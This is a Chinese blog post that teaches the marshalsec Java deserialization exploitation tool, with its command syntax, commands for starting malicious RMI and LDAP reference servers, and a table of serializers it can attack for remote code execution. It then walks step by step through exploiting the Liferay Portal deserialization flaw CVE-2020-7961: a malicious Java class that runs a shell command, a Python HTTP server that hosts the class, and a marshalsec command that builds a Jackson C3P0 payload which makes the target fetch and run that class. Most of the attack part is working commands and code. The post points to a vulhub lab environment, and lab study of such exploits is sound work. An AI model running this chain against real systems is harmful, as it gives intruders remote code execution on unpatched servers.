java 反序列化利用工具 marshalsec 使用简介

小鱼儿 2021-09-01 08:24 799阅读 0赞

命令格式

marshalsec命令格式如下：

>     java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

参数说明：

*  \-a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin）
 *  \-t：对生成的payloads进行解码测试
 *  \-v：verbose mode, 展示生成的payloads
 *  gadget\_type：指定使用的payload
 *  arguments - payload运行时使用的参数
 *  marshalsec.<marshaller>：指定exploits，根目录下的java文件名

开启RMI服务

>     java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099

开启LDAP服务

>     java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

查询可用Gadget

> java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例

生成特定Payload

>     java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject

攻击载荷

目前marshalsec支持的exploit和payload有：

<table> 
 <thead> 
  <tr> 
   <th>Marshaller</th> 
   <th>Gadget Impact</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>BlazeDSAMF(0|3|X)</td> 
   <td>JDK only escalation to Java serialization&nbsp;various third party libraries RCEs</td> 
  </tr> 
  <tr> 
   <td>Hessian|Burlap</td> 
   <td>various third party RCEs</td> 
  </tr> 
  <tr> 
   <td>Castor</td> 
   <td>dependency library RCE</td> 
  </tr> 
  <tr> 
   <td>Jackson</td> 
   <td><strong>possible JDK only RCE</strong>, various third party RCEs</td> 
  </tr> 
  <tr> 
   <td>Java</td> 
   <td>yet another third party RCE</td> 
  </tr> 
  <tr> 
   <td>JsonIO</td> 
   <td><strong>JDK only RCE</strong></td> 
  </tr> 
  <tr> 
   <td>JYAML</td> 
   <td><strong>JDK only RCE</strong></td> 
  </tr> 
  <tr> 
   <td>Kryo</td> 
   <td>third party RCEs</td> 
  </tr> 
  <tr> 
   <td>KryoAltStrategy</td> 
   <td><strong>JDK only RCE</strong></td> 
  </tr> 
  <tr> 
   <td>Red5AMF(0|3)</td> 
   <td><strong>JDK only RCE</strong></td> 
  </tr> 
  <tr> 
   <td>SnakeYAML</td> 
   <td><strong>JDK only RCEs</strong></td> 
  </tr> 
  <tr> 
   <td>XStream</td> 
   <td><strong>JDK only RCEs</strong></td> 
  </tr> 
  <tr> 
   <td>YAMLBeans</td> 
   <td>third party RCE</td> 
  </tr> 
 </tbody> 
</table>

列出所有jackson的gadgets 传参为calc

> D:\\jdk\_1.8\\bin\\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"

![Alt text][]

如果想查找组件可以生成的gadgets有哪些

以Jackson为例

> D:\\jdk\_1.8\\bin\\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson

![Alt text][Alt text 1]

如果想查找gadgets可以用于哪些组件生成

方法1、以resin为例，可以查看手册

![Alt text][Alt text 2]

方法2、选择想看的gadgets->find usages

![Alt text][Alt text 3]

使用实例：

Liferay Portal CE 反序列化命令执行漏洞（CVE-2020-7961）

完整复现过程：[https://vulhub.org/\#/environments/liferay-portal/CVE-2020-7961/][https_vulhub.org_environments_liferay-portal_CVE-2020-7961]

marshalsec的使用如下：

首先准备一个恶意的Java类，编译：

// javac LifExp.java
    public class LifExp {
    
    static {
        try {
                String[] cmd = {"bash", "-c", "touch /tmp/success"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    }

在保存着class文件的目录下运行一个HTTP文件服务：

$ ls
    LifExp.class  LifExp.java
    
    $ python3 -m http.server
    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

因为目标Java版本较高，我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource，借助[marshalsec][]来生成一个适用于Jackson的POC：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp

其中，`http://127.0.0.1/`是刚才启动的保存了恶意class文件的Web服务，LifExp是恶意类名。

这里需要注意 是2个参数

第一个参数 `http://127.0.0.1/ 是python启动的http服务器 `

`第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名`

`就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现`

可能此命令生成的字节码中 最后访问的url会被组合为 `http://127.0.0.1/LifExp.class`

`从而成功访问到 LifExp.class 文件`

[Alt text]: /images/20210728/226d9ea0110f4bb498803468e8f8d71c.png
[Alt text 1]: /images/20210728/c2b6fc37f93e405481fcafc3f5257079.png
[Alt text 2]: /images/20210728/17c4f8bdd4034138b1a656156d8f9fc4.png
[Alt text 3]: /images/20210728/0f9fc3074b454072ab0d598d4b162f8f.png
[https_vulhub.org_environments_liferay-portal_CVE-2020-7961]: https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/
[marshalsec]: https://github.com/mbechler/marshalsec